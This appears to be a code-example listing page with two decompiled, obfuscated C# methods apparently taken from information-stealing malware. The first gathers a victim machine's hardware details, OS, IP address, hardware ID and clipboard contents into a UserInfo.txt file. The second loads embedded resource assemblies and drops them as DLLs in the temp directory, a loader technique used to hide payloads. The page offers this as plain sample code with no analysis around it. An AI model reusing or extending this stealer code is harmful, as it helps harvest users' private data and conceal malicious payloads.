Beispiel #1
0
    // Token: 0x06000213 RID: 531 RVA: 0x00010A50 File Offset: 0x0000EC50
    public static void smethod_1()
    {
        Class28.smethod_7();
        string text  = Convert.ToString(Screen.PrimaryScreen.Bounds.Size);
        string text2 = Convert.ToString(Environment.ProcessorCount);
        string text3 = Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", "ProductName", "").ToString();
        string text4 = Class28.smethod_2();

        File.WriteAllText(Dirs.WorkDir + "\\UserInfo.txt", string.Concat(new string[]
        {
            "Screen Resolution: ",
            text.Replace("{", "").Replace("}", ""),
            "\r\nOS: ",
            text3,
            Class28.smethod_3(),
            "\r\nProcessesors: ",
            text2,
            "\r\nIP: ",
            Class28.string_0,
            "\r\nHWID: ",
            text4,
            "\r\nKeyboards: ",
            Class28.string_2,
            "\r\nVideo Card: ",
            Class28.smethod_8(),
            "\r\nRAM Size: ",
            Class28.smethod_9(),
            "\r\nCPU Name: ",
            Class28.smethod_6(),
            "\r\nClipboard: ",
            Clipboard.GetText(),
            Class16.string_0
        }), Encoding.Default);
    }
Beispiel #2
0
 private static Assembly smethod_0(object object_0, ResolveEventArgs resolveEventArgs_0)
 {
     lock (hashtable_0)
     {
         string str  = resolveEventArgs_0.Name.Trim();
         object obj2 = hashtable_0[str];
         if (obj2 == null)
         {
             try
             {
                 string str2 = smethod_1(str);
                 foreach (Assembly assembly in AppDomain.CurrentDomain.GetAssemblies())
                 {
                     if (assembly.GetName().Name.ToUpper() == str2.ToUpper())
                     {
                         return(assembly);
                     }
                 }
             }
             catch
             {
             }
         }
         if (obj2 == null)
         {
             try
             {
                 RSACryptoServiceProvider.UseMachineKeyStore = true;
                 string s     = smethod_1(str);
                 byte[] bytes = Encoding.Unicode.GetBytes(s);
                 string name  = "b0494a1f-4bd3-" + Convert.ToBase64String(Class28.smethod_9(bytes));
                 Stream manifestResourceStream = typeof(Class32).Assembly.GetManifestResourceStream(name);
                 if (manifestResourceStream != null)
                 {
                     try
                     {
                         BinaryReader reader = new BinaryReader(manifestResourceStream)
                         {
                             BaseStream = { Position = 0L }
                         };
                         byte[] buffer = new byte[manifestResourceStream.Length];
                         reader.Read(buffer, 0, buffer.Length);
                         reader.Close();
                         bool     flag      = false;
                         Assembly assembly2 = null;
                         try
                         {
                             assembly2 = Assembly.Load(buffer);
                         }
                         catch (FileLoadException)
                         {
                             flag = true;
                         }
                         catch (BadImageFormatException)
                         {
                             flag = true;
                         }
                         if (flag)
                         {
                             string path = Path.Combine(Path.Combine(Path.GetTempPath(), name), s + ".dll");
                             if (!File.Exists(path))
                             {
                                 Directory.CreateDirectory(Path.GetDirectoryName(path));
                                 FileStream stream2 = new FileStream(path, FileMode.Create, FileAccess.Write);
                                 stream2.Write(buffer, 0, buffer.Length);
                                 stream2.Close();
                             }
                             assembly2 = Assembly.LoadFile(path);
                             hashtable_0.Add(str, assembly2);
                             return(assembly2);
                         }
                         hashtable_0.Add(str, assembly2);
                         return(assembly2);
                     }
                     catch
                     {
                     }
                 }
             }
             catch
             {
             }
             return(null);
         }
         return((Assembly)obj2);
     }
 }